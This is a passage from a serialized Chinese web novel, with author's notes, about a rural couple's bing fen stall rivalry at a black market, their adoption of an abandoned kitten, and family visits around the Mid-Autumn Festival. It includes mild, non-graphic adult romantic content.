“你……你要干什么!”他色厉内荏吼道。 季白青没说话,反手一个耳光打在他脸上,收了些力,将人扇得脑袋嗡嗡作响又不至于出什么大毛病。 她沉着声音:“下次再敢来找茬……” 后面的话,就留给对方自己想象。 瘦黑男人捂着脸,难以置信地看着她。 他没有想到看起来那么斯文爽朗的人居然也会出手打人,而且力气还不小。 原来他踢到硬茬了,男人瞬间有几分后悔。 在场的人看着两人发生的争执,自然也知道是男人先惹的事,没一个人敢上前帮忙的。 反倒是男人的媳妇看着自己男人被欺负的那么惨,扶着肚子匆忙走过来将人扶起,开口嚎叫:“有人乱打人了!” 这一嗓子嘹亮,瞬间几个人打了一激灵,有个大娘出来捂住她的嘴:“同志,小声点!你想要把警察招来吗?!” 黑市做生意本来就是灰色地带,最怕招来了警察,实在是这女同志的声音太嘹亮了。 其她摊主也都纷纷附和。 “对啊,本来就是你丈夫不对,怎么能怪别人小同志。” “就是说!下次再这样,别来我们这边了!” “到时候我们都要被连累了!” 说到这,妻夫俩已经激起所有人的怒气了。 不知道是谁提了一句:“再惹事就滚出去!” 听了这话,女人只能将黑瘦男人扶起来,两人灰溜溜地回到了冰粉摊前,像个鹌鹑似的缩着头不说话。 “明明是那个贱人先动的手!”黑瘦男人喃喃。 他媳妇附和道:“就是,她们一点都不讲理,联合起来针对我们!” 看着她们嘴巴蠕动,肯定不是在说什么好话,但季白青还是顺了一口气,心平气和地坐回原本的位置。 毕竟她真的很烦总是喜欢来找茬的人。 她什么都没干,这都什么事啊! 此时也有了几个准备来买东西的顾客,见着那对妻夫这么不讲理,甚至差点就将整个黑市都拖下水,对她们顿时没有了好感。 即使知道那边的冰粉便宜了一毛钱也没去买,反而光顾了季白青的小摊。 见着除了冰粉外还有辣椒酱后,她们更加惊喜了。 “一年了,终于开始卖辣椒酱了。” 面前的大婶笑呵呵道,“还是之前的价格吗?那我要一个辣冰粉,一瓶辣椒酱。” 见季白青点头,她数好钱递给她。 她走后,一个女同志看着两份不同的冰粉有些奇怪。 “同志,这是两个口味的吗?” 季白青笑着介绍:“对,这个是辣冰粉,加的辣椒油和酸菜,这个是甜口冰粉,加的红糖水和葡萄。” 闻言,女同志有些纠结,最后道:“那我都要一份,甜口的在这吃。” 季白青收了钱后给她装好。 她的辣椒酱摆出来后,陆陆续续的有人来问价、购买,买的时候多少有人顺带捎一碗冰粉走。 尤其是辣口的冰粉,不少人都好奇味道,便都想着来一份。 这一点季白青也有些诧异,看来无论什么时候,都还是猎奇的人居多。 而黑瘦男人他们那只有甜口的冰粉。 到了九点多,冰粉和辣椒酱都卖完了,季白青收拾好东西准备回去。 刚准备走,她突然想起什么,提着东西走到那对妻夫的摊位前,笑眯眯道:“同志,我收工了。” “哟,你们还有这么多没卖完啊?卖的比我便宜还卖不出去,找块地种去吧,明天别来黑市浪费时间了。” 这句话让*两人的脸一顿青一顿红的,说不出什么反驳的话。 毕竟事实摆在这。 说完之后,季白青心情颇好地提着东西,骑上车,回家。 回家的路上,筐没绑稳,直往下掉。 到了半路又砰的一声掉在了地上,季白青停下车,将筐捡起,用绳子捆好,刚准备离开,耳朵忽然一动,听见了什么动静。 顺着声音往草丛边走,将遮挡的草丛扒开,看着面前的东西,季白青的瞳孔微微睁大。 这! 【作者有话说】 谁说的我要完结?其实我想多写点来着 下本开八零,什么时候破千收呐[三花猫头] 感谢投雷营养液,感谢评论订阅收藏 105 第105章 ◎“给你女儿取个名字。”◎ 绿茵茵的草丛被扒开,一眼就能看到地上那只正在嘤嘤叫着的橘白猫崽子。 眼睛都还没睁开,胡乱蹬着四只爪子,身上脏兮兮的,粘着草屑和泥渍。 季白青倒是在村里偶然见过几次野猫,但都很怕人,一听着什么细微动静都跑得飞快。 也不知道一只看起来刚出生没多久的猫崽子是怎么出现在这儿的。 她有些犹豫,如果放任不管的话,这猫儿被猫妈妈丢在这,大概也活不了多长时间。 可云水村里也没人养猫,有人吃饱饭都难,更别说还多养个小东西,贸然带回去是不是太高调了? 她在原地站了一会儿,想了想将草丛复原,还是骑着车走了。 回了家,温淼正在厨房做饭。 将炒熟的菜盛起来,才端到桌上,就见季白青手里捧着片叶子小心翼翼地进了屋。 她有些奇怪,问道:“你捧的什么东西?这么宝贝?” 季白青将芭蕉叶上的橘猫给她看,小家伙不知道在什么时候没再叫了,爪子一下一下踩着空气。 她原本是狠下心来不打算管,但才骑出去十几米的距离,耳边还响着猫崽子细嫩的叫声。 虽然她对毛茸茸无感,但总会在心里偷偷猫塑温淼,此刻见着女朋友的“同类”也确实狠不下心将其直接丢在原地自生自灭,干脆就近摘了片大的芭蕉叶,将小猫裹起来放在车篮里带了回来。 看着还没有青年手掌大的幼崽,温淼盯了季白青一会儿,板着脸问:“你从哪偷回来的?都还没有睁开眼睛。” 这样的小猫离开了猫妈妈,不太容易活。 季白青:“……”冤枉啊,好大一口锅。 “这猫是我在路边碰到的,周围没有看到大猫,应该是被丢下了,怕活不了,才带回来的。” 闻言,温淼的脸色才变得和缓一些,伸出手指戳了戳橘猫的粉色鼻尖,她惊叹:“好可爱。” 季白青就知道她会喜欢。 “你去羊圈那换点羊奶回来,我给它擦一下,脏兮兮的。” 也不知道身上有不有跳蚤。 兑好了温水之后,将手帕打湿,一点一点将它身上的脏污擦拭掉。 等到橘白色毛发彻底焕然一新时,温淼换了一碗羊奶回来了。 找了个平筐将猫和羊奶放进去,嗅到了那点奶腥气,原本安静下来的小猫又嘤嘤叫了两声,往前挪动几步,前爪直接踩进了碗里,大口大口地喝起奶来。 温淼蹲在一边,脸颊抵在膝盖上,软白脸颊肉挤得溢出一点,专注地看着小猫喝奶。 季白青的视线从温淼身上再度挪回橘白身上,道:“还不给你女儿取个名字?” 刚刚仔细看了看,虽然还看不出什么性征,但长得瘦瘦小小还十分秀气,季白青暂且把它看成小女猫。 温淼闻言一怔,抿唇笑了起来。 她嗔她一眼,“难道不是你女儿吗?” 两人以后也不可能有孩子,于是便都很自然且快速地接受了将猫看做女儿这一设定。 猫都快把脸埋进羊奶里了,季白青伸出手提着它的后脖颈,小声道:“笨猫,喝个奶要把自己泡进去。” 温淼盯着两人的互动,眉眼弯弯。 过了一会儿,她才开口:“叫棉棉怎么样?它的白毛像棉花一样白。” 有一点温淼没有明说,小猫崽子看起来太过孱弱,不知道能不能好好长大,她希望它能像是棉花一样有旺盛的生命力。 “温棉棉,这名字真好听。” 戳了戳小家伙的脑瓜子,她叫了一声:“棉棉。” 原本正在埋头苦喝的棉棉像是知道了自己的名字一般,又嘤嘤叫了一声。 “好可爱。”温淼再一次惊叹。 棉棉似乎是已经饱了,没再舔奶喝。 季白青找了个木箱,垫上一块没用的布料,将小家伙放了上去,棉棉没一会儿就睡着了。 一家人都回来了,准备吃午饭后,温淼才从猫咪幼崽的可爱攻势中脱身。 得知季白青带回来一只小猫,家里也没人有任何异议,何香月道:“那是不是要抓点鱼回来给它吃?” 季白青动作一顿,哭笑不得。 “它还没有鱼大,现在只能喝奶,应该要过段时间才能吃其它的东西。” 闻言,何香月有些遗憾。 “养只猫也好,以后抓老鼠,村里也没狗,不用担心被咬。” 想着那只瘦小的橘猫,季白青还是带了些在二十一世界云吸猫视频中得来的刻板印象。 别以后把自己吃得胖到跑不动了,到时候别说抓老鼠了,看见老鼠在自己面前跑都不为所动。 但是想到能和温淼一起将捡回来的小猫养大,季白青突然生出来几分期待。 吃了饭,将碗筷收拾好,温淼和季白青一起蹲在装着猫的箱子前,两个人都是一脸凝重。 季白青的手上拿着块布料,正在纠结着到底要怎么下手。 吃完饭后她才突然想起,猫咪幼崽是需要大猫舔舐才能排泄的,可家里没有大猫,只有两个临时上岗的准妈妈。 季白青把棉棉放在手心,将它带到屋外的树下放着,用布料擦拭那处,看着它排泄出来后才松了一口气。 将猫崽子擦干净,放回箱子里,箱子带到卧室内,季白青和温淼没再管。 原本见到季白青想说的话这时候才迟迟被想起,温淼看着季白青,有些好奇地问:“今天的冰粉好卖吗?” “……挺好卖的,她们好像都挺喜欢辣口的。”说这话的时候,季白青有些哭笑不得。 温淼也沉默了一瞬,“或许是真的很好吃吧。” 只是她嗜甜,不太能感受到辣口冰粉的美味之处。 季白青诡异地和她对上脑电波,两人对视一眼,都没忍住笑出了声。 女人清了清嗓子,“既然这样,那你明天多做点,气死那男的,她们太过分了。” 骗了别人赚钱的方子不说,哪里还带这么不要脸,耀武扬威地在她们面前炫耀的啊? 季白青将今天在黑市发生的事说给温淼听后,温淼才解了一口气。 她哼了一声:“她们都是活该。” 季白青见她拧着眉,神色生动,捏了捏她的脸颊,“你还不睡?下午第一节课不是有你的课吗?” 闻言,温淼蔫了下来。 “别催,待会儿就睡啦。” 往季白青的胸前埋了埋,她忽然扬起头,再一次发问:“我上次喝醉酒真的没有说什么奇怪的话吗?” 她总觉得那一夜不应该是她和季白青胡闹了一夜那么简单,记忆零碎,她回忆起来的全都是些让人光是听着就暧昧恒生、脸红心跳的记忆。 但总觉得,好像听见了季白青温柔的回复她的声音。 这话温淼问了几遍,季白青都怀疑她是回想起来了,在暗戳戳提醒自己呢。 但是低头一看,女人的脸上确实是一片茫然。 也是,没有喝醉的温淼一向都矜持,只会将这种念头憋在心里,等着那天季白青当了她肚子里的蛔虫的时候才能够感知到,倒是做不到她所想的这么弯弯绕绕的暗示。 她拍拍温淼的脸颊,一本正经开口:“其实说了挺多的。” 温淼的眼睛睁大,竖起耳朵听她继续说。 “嗯……比如,说要吃掉我。” “还有,要我叫你宝宝,不叫就哭……唔唔!” 温淼捂住她的嘴,耳朵红得快要冒烟。 眼睛睁圆瞪她:“你胡说!” 她不信,就算是喝醉了,自己也不可能说这些话吧? 季白青的眼神有些无辜,将她的手轻拿开,叹出一口气。 “人与人之间的信任就是这样消失的,我听了你的话,让你舒舒服服,手和嘴都用上了,宝宝宝宝叫个不停。” 她斜了温淼一眼:“结果宝宝你就是这么不信任我?” 温淼红着脸,默默捂着耳朵转了个身。 看着女人羞到后颈都泛红的模样,季白青强忍住没笑出声。 她维持刚才的语气,继续道:“你还让我快一点,说这么慢一点也不舒服,如果我不加快,你就不让我把手抽|出去,其实我也不想那么折腾的,但是你太磨人,而且很粘人,要我和你接吻,要我给你揉胸口,还要我的手也快,拜托,宝宝,这我该怎么兼顾?” 温淼已经羞赧得不成样子了,纤长睫毛一颤又一颤,努力回想那天的情景,能够回想起来的却还是十分零散的碎片。 她和季白青接吻。 季白青好像也确实给她揉了胸口。 所以……她说的是真的? 温淼不说话,咬着唇,才慢慢憋出一句话。 “那对不起嘛。” “但是你也有错。” 季白青挑眉,从身后抱住她,将手搭在她的腰上,温热的气息柔柔地落在她红翡般的耳垂上,问:“我哪里错了?” 温淼指责:“你刚才说的话少儿不宜。” “?”季白青将屋子里打量了一番。 “你是少儿还是我是少儿?” 温淼转过身去,和她面对面,雪白手指点着她的胸口。 “棉棉在,棉棉还是只什么都不懂的小猫,不能听这种话。” 把刚添的女儿忘了。 季白青眼都不眨,立马反驳:“可棉棉已经睡着了,它不算。” 温淼拧眉又瞪她,样子和季白青提着棉棉后颈时的炸毛模样如出一辙。 “我说算就算!” 季白青语气软下来,“好吧,那我也有错,我们抵销了。” “对不起。”她乖乖道歉。 和她闹了一番,温淼生出了几分困意,眼皮有些沉,声音也低了几分,绵绵软软。 “我也有错,不应该那么缠人的。”她也没想到自己喝醉之后会那样,分明以前在家醉过一两次,但每次都被夸酒品好。 季白青见她还真的信得差不多了,一时间内心又有几分愧疚。 虽然她说的并不全然是假话,但真假掺半,也确实有不实消息。 只是现在告诉温淼的话,她大概要被气得睡不着。 季白青有些心虚地拍拍她的背,没什么底气地回答:“我就喜欢你缠着我。” 等和人一起睡了二十几分钟,季白青起床,先看了眼屋子里的棉棉,戳戳它鼓起来的肚子,小声道:“对不起,妈妈不该和妈咪说那种话的时候还不避着你。” 成年人之间的事,幼崽确实不该听。 给棉棉道歉之后,季白青帮温淼把水壶里的水装满,看着时间将人叫起来。 温淼坐在床上,脸颊处还带着些红印,脑子还有些不清醒,眼神迷蒙。 季白青低头和她接了个吻,黏糊糊的水声从双唇贴合处漫开,浅藏辄止,将人放开后,她道:“快点起来。” 温淼清醒几分,将床边的衣服换好,出门前看了眼棉棉。 季白青笑眯眯替她开口:“棉棉,你妈咪要去上班咯。” 温淼抿唇浅笑,也戳了戳小猫喝得鼓鼓的肚子。 只能说,两人在一起久了之后,即使不在同一时间段,干出来的事儿也差不多。 下午没什么事,季白青将温淼送到门口,到学校门口的时候,看着还有一段时间才上课,她清了清嗓子,叫住温淼: “淼淼。” 温淼有些疑惑地转过头去,季白青覆在她耳边轻言几句。 听完后,温淼气得直掐季白青的腰。 “你讨厌!” “嘶,”这温淼大概是真的被气到了,手劲不小,掐得人生疼。 季白青没躲,一双圆钝的杏眼看着她,眼尾微微下垂,道歉:“对不起淼淼。” 温淼看她的可怜样,忽然又有些后悔刚才下手是不是太重了。 她道:“回去再和你算账。” 说完,进了学校。 看着她的背影,季白青撩起衣服看了眼,腰侧冷白的皮肤已经发红。 她低头一笑,往回走。 下午还得去摘冰粉籽,棉棉一个小时左右没有进食,大概也饿了。 念此,她加快脚步,准备回去。 哪知路过晒谷场的时候,却被人叫住。 转身看是潘红霞,季白青拧眉,有些不耐烦。 “怎么了?” 潘红霞将锄头放下,看着对面衣着干净整洁的季白青,有些窘迫地在裤子上蹭了蹭手上的泥,脸色微红。 她呐呐道:“季同志,你、我……” 见她半天说不出话来,季白青没有更多的耐心,准备回去。 潘红霞见她要走,心一晃,连忙开口道:“季白青,我、我是想说,你的外套还在我那,你什么时候在家?我还给你,已经洗干净了。” 季白青没回头,话轻飘飘地传到了潘红霞的耳中,随后被风吹散。 “不用还了。” 她定定站在原地,有些失落。 回了家,季白青还觉得有些纳闷,只觉得潘红霞有点奇怪。 她对知青点的人始终维持着厌恶,愿意在看到潘红霞落水的时候救她也不过是因为在前世温淼的死与她没有直接关系,她没有迁怒。 在决定将外套给她的时候,季白青就没准备再要回来。 被自己讨厌的人穿过的衣服,已经脏了,怎么洗都洗不干净的。 看了眼房间里的猫,没再睡觉了,饿得嗷嗷叫唤。 季白青有些嫌弃地将它托在手心,将剩下的羊奶给她喂了些,又协助排泄后,看它一只猫也乐得高兴,便随它去了。 她去山上摘冰粉籽。 晚上,吃了饭洗了澡,温淼盘腿坐在床上,盯着对面的季白青。 季白青被她看得脊背挺直,手指蜷了蜷。 没多久,听见女人开口:“骗了我多少?” 很好,这是找她算账来了。 季白青掰着手指头,将中午说的一半都列了出来。 温淼:“……” 她又瞪她一眼,“你过分!” 她没想到季白青说了那么多话,有一半都是在胡说。 季白青点头承认。 温淼琥珀色瞳孔一转,眼波流转,带了几分柔媚。 她伸出手指,提出条件。 “你骗我,所以我得罚你,至于内容……” “第一,今晚得叫我宝宝。” “第二,要接吻揉胸口还要要让我舒服。” 她从季白青信口胡诌的那一堆话里挑了两条出来,脸色努力保持正经,但还是不难看出来其中羞赧之意。 红润的唇瓣抿紧,脸颊泛红,眼神也轻微飘忽。 季白青闻言一愣,眉眼不受控制弯起。 所以温淼这到底是要惩罚她还是要奖励自己? 她觉得有时候和很爱害羞的女朋友谈这种成年人话题也挺有意思。 她问:“那蓁蓁有要求几次吗?” 温淼拧眉纠正:“要叫宝宝。” 说到最后一个字的时候,声音接近于无。 对这个称呼,温淼还是会觉得有些羞,亲昵中带着宠溺之意,她其实很喜欢季白青这样叫自己,但又觉得自己根本就不是宝宝。 季白青从善如流改口:“那宝宝有要求的次数吗?” 温淼犹犹豫豫好一会儿,最后伸出食指,比了个“1”。 “一次够吗?两次才能舒服吧?”季白青语气轻缓,带了几分难以察觉的诱哄。 温淼闻言,犹豫一瞬,没有掉入陷阱,最后拍板:“那你一次我一次。” 看了眼自己微长的指甲,她也没什么经验,收拢手后,她歪头看着青年,脸上有扳回一城的狡黠:“我可以用……嘴。” 季白青:“……” 她没有想到自己会被自己搬起的石头砸了脚。 她瞬间失了力,像条咸鱼似的躺在床上,语气无力道:“屋里我们女儿还在呢,你确定要做少儿不宜的事带坏小孩?” 温淼眨眨眼:“小猫已经睡着了,听不到的。” 这是季白青中午说过的话,明明中午才被温淼亲口否定过。 “行……吧。”季白青心平气和。 “你先来。” 不然待会被折腾一会儿得累了。 到底是顾忌着屋里还有小猫,两人都收着声音,没什么大动静,安安静静尽量不溢出什么音。 结束后,黑发交织,她们靠在一起,都有些昏昏欲睡。 抱着人温软的身体眯了一会儿,但身下的一片狼藉没有收拾。 原本想再赖一会儿,房间里的小崽子突然又开始嘤嘤叫了。 捡来的小猫又饿了。 温淼和季白青对视一眼,只能穿上衣服坐起来,一个人给棉棉喂奶,一人收拾床上的狼藉。 季白青晚上睡的不是特别踏实,念着一天要喝那么多奶的棉棉,几乎是隔着一个半小时就起来一次。 四点多的时候醒过来,她也没再睡,看着再度熟睡的小猫,指腹点了点它脑袋瓜,准备出门卖凉粉。 昨天没能把那妻夫两人占的摊位抢回来,她还记着,今天再早一点去,她就不信还不能占到那个位置。 将药膏和水放在床头,方便温淼醒来拿到,季白青收拾好东西,骑车往黑市赶。 到地方的时候,月亮还缀在夜空上,路上都见不着什么人,季白青觉得她可能来的最早。 只是拿着手电筒一照,才发现原本树下的那一块被她惦记着的好地方有个人正躺着休息。 俨然就是瘦黑男人。 季白青扯了扯唇,有些无语于自己的幼稚心态。 人晚上就在这睡,到底有什么好争的。 木着脸选了处较好的地方,她坐下,将冰粉和辣椒酱摆开,等着开张。 瘦黑男人刚才就被季白青的手电筒晃醒,见她来这么早,咬了咬牙,没多久就不见了人,剩下一点东西占着位置。 天色微亮,才见着他和他媳妇拎着东西过来。 将东西放下,见等着要买东西的人多了起来,两人开口道:“辣口冰粉和甜口冰粉都有啊!只要两毛钱!” 见昨天季白青新上了个辣口的冰粉挺受欢迎,今天她们妻夫也直接照抄。 视线从她们身上挪开,没在意她们挑衅的眼神,季白青慢悠悠地打着扇子,等着人来问价。 在妻夫那买冰粉的人不少,也都是挑了少见的辣口。 早上天气还不算太热,不少人都是选择带回去吃。 到了八|九点,季白青正在给老顾客盛冰粉,就听见树下那处起了争执。 “你们家做的这个冰粉这么难吃,退钱!” 男人恶声恶气道:“你都吃了,还想退钱?!要不要脸!就你一个人说难吃,这么多人吃过我家冰粉,谁说过难吃!” “要是嫌我家难吃,就别买我家的冰粉啊!你去买贵一毛钱的!” 他轻嗤一口:“多花这一毛钱,你又舍不得!” 对面的大娘被气得胸口剧烈起伏,立马蹬蹬地走到季白青的面前甩下一块五的纸币,提高声音道:“同志,我要五份冰粉!一份在这吃,四份打包,都要辣的!” 她咬牙心疼花出去的钱,但也要为自己争一口气,一字一句说给卖冰粉的妻夫听。 “小同志家的冰粉就是做的比你家的好吃,你家做的就是难吃!” 【作者有话说】 还没结婚但多了个女儿 前一章等我再改改,我都不知道说些什么好了 感谢投雷营养液,感谢评论订阅收藏 106 第106章 ◎温猫猫◎ 听她这么说,妇人挺着肚子站出来,挽起袖子泼辣开口:“既然他家好吃,那你就天天去买他家的!我们天天都不够卖的,也不缺你一个!” 说完,她白眼一翻,立马叉着腰回去了。 要不是看在她还怀着身孕的份上,那大娘多少要上去和她打一架! 大娘糟心地往地上啐了一口,用所有人都可以听得到的声音说:“再缺这么点钱,也不会去你那买了,难吃的要死还怪我找茬?怎么不想想你自己的问题?人小同志卖的怎么没人说难吃?” 此话一出,原本还准备去妻夫俩那买冰粉的人一顿,一时间都有些犹豫了。 “真有那么难吃?” “我昨天吃着甜口的还好啊。” “我想尝尝辣口的,要不我们去对面买吧……” 听着众人议论纷纷,季白青乐得看热闹,在一边火上浇油道:“在我家这,只要不是故意找茬,觉得难吃的都可以退钱啊!” “你!”瘦黑男人站出来指着她,最后狠了狠心道:“我家的冰粉味道还是不错的,刚才那个女的嘴有问题,胡乱说,大家都别听!这样,今天给在场的人都再便宜一点,一毛五一碗!” 一下降了五分钱! 不少人都觉得实惠,即使有大娘的话在前,但一毛五分钱的差价还是更有吸引力,刚才冒出来的犹豫全都一消而散,纷纷在她们的摊前掏钱要买。 但也有少部分人还是担忧花钱买到难吃的,便还是在季白青这儿买。 季白青给她们盛好冰粉、收了钱,又给她们介绍摆在一边的辣椒酱。 其实现在主要的收入都是辣椒酱带来的,凉粉的利润就那么点,季白青并不想和她们多争,只不过是厌恶她们一而再再而三的挑衅罢了。 等着季白青见东西卖得差不多准备回去的时候,她们也恰好卖完了。 明明是季白青先一步走在前面,偏偏被两口子大摇大摆地挤到了一边。 她干脆往旁边挪了挪,让她们先过去。 妻夫俩见状,还以为是季白青不想要招惹她们,便十分高傲地高昂着头,路过她时不屑地哼了一声。 季白青:“……” 她瞬间后悔了刚才的谦让,真是给她们脸了。 早知道就应该挤回去。 站在原地磨了磨牙,季白青决定下次再还回去。 在回去之前季白青先骑着车去了供销社一趟,家里的糕点没剩多少,她买豌豆糕的时候,才突然发现豌豆糕旁边已经摆上了月饼。 一时间有些恍惚,细细算着日子,才回想起今天是白露,明天就是中秋了。 果然,被幸福包裹着的日子过得极快,每日的辛苦都显得不足为道起来。 她眉眼温软,弯唇一笑,顺手拿了几个月饼,又多买了些吃的,去年中秋她和温淼一起做月饼,今年没打算废那个心。 刚到家的时候,桌上已经摆了些做好的饭菜,随着空气流动零零散散地落入季白青的鼻腔。 她将自行车放好,把买来的东西放进橱柜,却没在堂屋和灶房见到温淼人。 将卧室门打开,这才看到温淼站在桌子前正在专注地看着什么。 听到了开门的动静,温淼转过头来,眸中的惊喜仍存。 她说:“阿青,你快来看看,棉棉的眼睛睁开了!” 季白青也有些惊讶,昨天还闭着眼呢,这么快就睁开了 好奇地凑过去一看,温棉棉原本闭合的眼皮微微撑开,露出裹着一层蓝膜的眼珠。 耸拉着眼皮的样子像是还没睡醒,只是偶尔脑袋一动,橘色嘴套边的胡子跟着一抖一抖。 似乎是嗅到了两位妈妈共同的气息,小猫开始扯着嗓子喵喵叫。 “给她喂奶了吗?”季白青问。 温淼托着脸,点头:“做完饭就给它喂了,还排泄了。” 季白青伸出一根手指抵住小猫脑袋点了点,“坏猫,在叫什么呢?” 小猫什么都听不懂,反而叫得越来越起劲。 季白青将手指蹭到它被撑得圆鼓鼓的肚皮上,轻轻挠了两下,就被两只前爪抱住。 手指被毛茸茸包裹的瞬间,她微微一愣,心里的情绪微妙。 温淼见她愣住,轻笑一声,解释道:“上午把棉棉放在办公室,小家伙就这样抱着手指才能睡着。” “有点粘人。”她评价。 季白青点头,理所当然道:“温棉棉随了温猫猫,猫猫随妈咪。” 温猫猫? 温淼慢半拍意识到这是在叫她。 她轻声埋怨:“又在乱叫。” 季白青晃了晃手指,看着猫崽子随着自己的动作一晃一晃的,眼中笑意加深。 “不叫温猫猫叫什么?猫猫才能生出来小猫崽棉棉。” 睨了她一眼,季白青问:“你不是它妈咪吗?” 温淼的脸颊晕开粉意,要不是知道自己是个人,不可能生出猫咪,差点都要让她给洗脑了。 她瞥季白青一眼,见她还在玩小猫,脸颊微微鼓起。 “你也是温棉棉妈妈,那你是季猫猫吗?” 将这个词安在自己身上,季白青只觉得别扭,还是放在温淼身上更可爱。 不过……看了眼气鼓鼓的温淼,她微笑道:“可以是。” “噢。”听她应下来,温淼反而诡异地觉得高兴了些。 如果季白青陪她一起的话,好像也不是不能接受。 不对,人怎么可能生出小猫啊?! 温淼快被自己绕晕。 都怪季白青! 季白青侧过头去,见温淼低着头不知道在想想什么。 幼崽的精力有限,棉棉和她玩了一会儿后很快就睡着了。 季白青将手抽出来,揉揉温猫猫的头。 “在想什么呢?” 温淼摇头,转移话题:“出去吧,该吃饭了。” 中秋节那天是周三,季白青要去食品站杀猪。 特意给自己留了一块好的排骨,将猪肉卖完后她拎着排骨回家。 到家的时候却发现家里多了两个意料之外的人。 看着坐在屋里正在和何香月、温向荣说话的梅叙和梅大娘,季白青有些诧异。 “白青回来了。”还是梅大娘最先注意到她回来了,开口和她打招呼。 “梅大娘、梅姨,你们怎么来了?” 梅叙柔柔一笑,解释道:“前段时间公务太多,一直在出差,也没有找出时间来看看你们。” 眼神落在温向荣身上,在与她对视之前,梅叙迅速挪开,继续道:“刚好今天空下来了,趁着今天的机会,来给你们送点礼品。” 梅叙说的话也不是作假,从四月份以来,她被派着各个市镇之间来回转,确实没时间过来探望温向荣。 在温向荣被下放后,梅叙就出不了多大力,她内心愧疚。 又怯于直接同温向荣见面。 也就只在温向荣住院的那一段时间去看望过一两次,站在门口,没有进去。 现在好不容易闲了下来,出于私心,她还是想要来看看温淼和温向荣,顺带将早就准备好的那点节礼给送过来。 她也不大敢自己一个人过来,怕温向荣还对她有意见,所以带上了梅大娘一起。 好在见到她的时候,温向荣并没有多说什么,甚至颇为和颜悦色地对她打了个招呼。 看着气色颇好,精神头十足的温向荣,梅叙也松了一口气。 好在温淼有季白青照顾,季白青也愿意照顾温向荣。 知道了梅叙来的原因后,季白青了然点头,见她们没坐多久就起身要离开,便开口挽留道:“那梅姨和梅大娘留下来吃顿饭再走吧?” 地上放着那么多东西,多少也要留人下来吃个饭。 这话刚才何香月就说过一次,热情地要留她们下来吃饭,还催促季伟去灶房准备午饭。 但梅叙和梅大娘还是推拒了,怎么劝都劝不动,何香月虽然觉得有些可惜,但也不能强迫她们留下。 季白青说了这话之后,梅叙安静了一会儿,正想要开口继续拒绝,就听见温向荣开口道:“来都来了,就留下来吃一顿饭吧。” 梅叙再也说不出拒绝的话。 当年被温向荣看出来她对温泠月的感情后,虽然她没说什么,但梅叙对上她总觉得内心惴惴,无论是当时还是现在,都迫切地想要得到对方的认可。 现在温向荣开口留下她们吃饭,梅叙完全拒绝不了。 就连梅大娘也看着她,想知道她的态度,在众人的注视之下,梅叙抿唇,最后还是微微点头。 “那就麻烦香月妹夫还有温姨了。” 季白青见气氛缓和几分,便将东西放好,排骨拿到灶房让季伟炖上,她回了房间。 温淼没多久也进来了,顺带将外面的猫也带进来放在桌上。 棉棉的眼睛今天睁得更开了一些,那层蓝灰眼膜也退了些,但还看不出真正的颜色。 季白青猜它的眼睛是黄色的。 看着猫在桌面上乱爬,温淼坐在床边,细白手指有些纠结地搅在一起。 想了好一会儿,温淼才慢吞吞开口:“梅姨她是不是有点不对劲?” 这话说出来后她又觉得有些奇怪,换了另外的说辞。 “我的意思是,她和妈妈只是……朋友吗?” 温淼原本也只以为梅叙和温泠月只是普通的朋友关系,但普通朋友之间,有必要对她这么照顾吗? 最让温淼产生这个疑惑的是梅叙在温向荣面前的表现。 她好像有些害怕温向荣,并不是出于恐惧,而是包含着更多她不明了的因素。 温淼能看出来几分梅叙对温向荣的讨好。 可是为什么呢?温向荣现在的身份那么普通,与梅叙差之千里。 可梅叙想要得到对方的喜欢和认可,这明显不太正常。 为此,温淼是头一次怀疑起梅叙对温泠月的感情。 想到了自己和季白青之间的羁绊,温淼将其带入两人同样的身份,竟然觉得诡异地能够解释清楚了。 她语气十分不确定:“梅姨喜欢妈妈吗?” 季白青打了个响指,也应和一句。 “我当时看着也觉得像,但确定不了,所以也没和你说。” 两人共同沉默了一会儿,温淼默默抱住了季白青的腰。 长辈的事,她们也难以评价。 她唯一的感触便是,还好她和季白青一样,对对方的感情都足够坚定,虽然路途中有些许的曲折,但最终没有错过。 两人安安静静抱了一会儿,这才出房间陪人。 自从得出那个猜测之后,温淼看着梅叙就有些不自在。 总感觉有些奇怪。 好在梅叙和梅大娘也没有在季家待多久,吃完饭后再三拒绝了让她们留下来吃晚饭的挽留就离开了。 下午,温淼去荷花那教*小米和满满她们写作业,何香月和温向荣闲不住,约着去村口遛弯,季伟也临时有事,被叫去开会。 季白青独自一人在家,将做冰粉的材料准备好,同时兼顾照顾崽子。 奶了小猫后,季白青在灶房折腾各种调料。 她想尝试做出串串香、麻辣烫或者钵钵鸡的那种底料。 大冬天吃一口,热乎乎的,又香又辣,潇南人大多都爱吃,肯定好卖。 这种美食制作视频她偶尔刷到过几次,只是时间有些久远,她难以记清准确的配方,便只能先自己一点一点地尝试,看看到底能不能调出来合适的底料。 她在做饭上还算是有些天赋,第一次调的料就挺好吃的,只是味道还不够香浓,拌面吃倒是不错。 她将用量记下来,开始第二次尝试。 几次过后,也难免研究出来一些过于难吃的蘸料,过咸过辣过甜。 但好在到了最后,最接近麻辣烫锅底的味道被调了出来。 她看着被自己糟蹋小半的调料,心虚一会儿后开始毁尸灭迹。 这场面可不能让何香月看着,不然季白青高低得挨一顿骂。 今天过节,晚上也要吃得丰盛一些,季白青洗了些白菜、粉丝、土豆片,七七八八的菜放在一起,准备再晚点用最后调出来的酱料煮了一锅麻辣烫。 出了家,去菜地上摘菜的路上,鼻尖盈满或浓或淡的桂花香,村里的桂花树陆陆续续地开着,这时候尤其盛,米粒大小的金色小花坠在叶片与枝干之间,风一吹,簌簌往下落。 一场桂花雨过后,就连风都是香的。 提着菜篮回去的路上,季白青折了一枝最新鲜、最漂亮的,回到家后插进卧室桌面上的瓶子里。 温淼喜欢各种花,季白青便经常往家带。 温棉棉不知道什么时候睡醒了,两只爪子一下一下踩着身下的布料,意识到房间里进来人后发出几声细嫩的叫声。 季白青想,她果然没说错。 温棉棉虽然是只小猫,但是粘人的性格不折不扣的随了温淼。 陪它玩了会儿,给它喂了奶,季白青又回厨房开始做饭。 饭做好之后,温淼第一个回来。 伸手从背后扣住季白青的细腰,她鼻尖耸了耸,“在做什么呀?好香。” 季白青掀起锅盖,更为香辣扑鼻的气味漫开。 她介绍道:“其实就是一锅大乱炖,又麻又辣又烫,就叫它麻辣烫吧,要不要尝尝” 温淼犹豫一瞬,她不是很能吃辣,可这闻起来也太香了,合理怀疑季白青就是在馋她。 季白青猜出她心里的顾忌,揉了揉她的长发,在她唇角啄吻。 “不太辣,尝尝。” 她给温淼盛了一碗,温淼坐在凳子上小口吃着,唇瓣被辣得嫣红,小口吸着气。 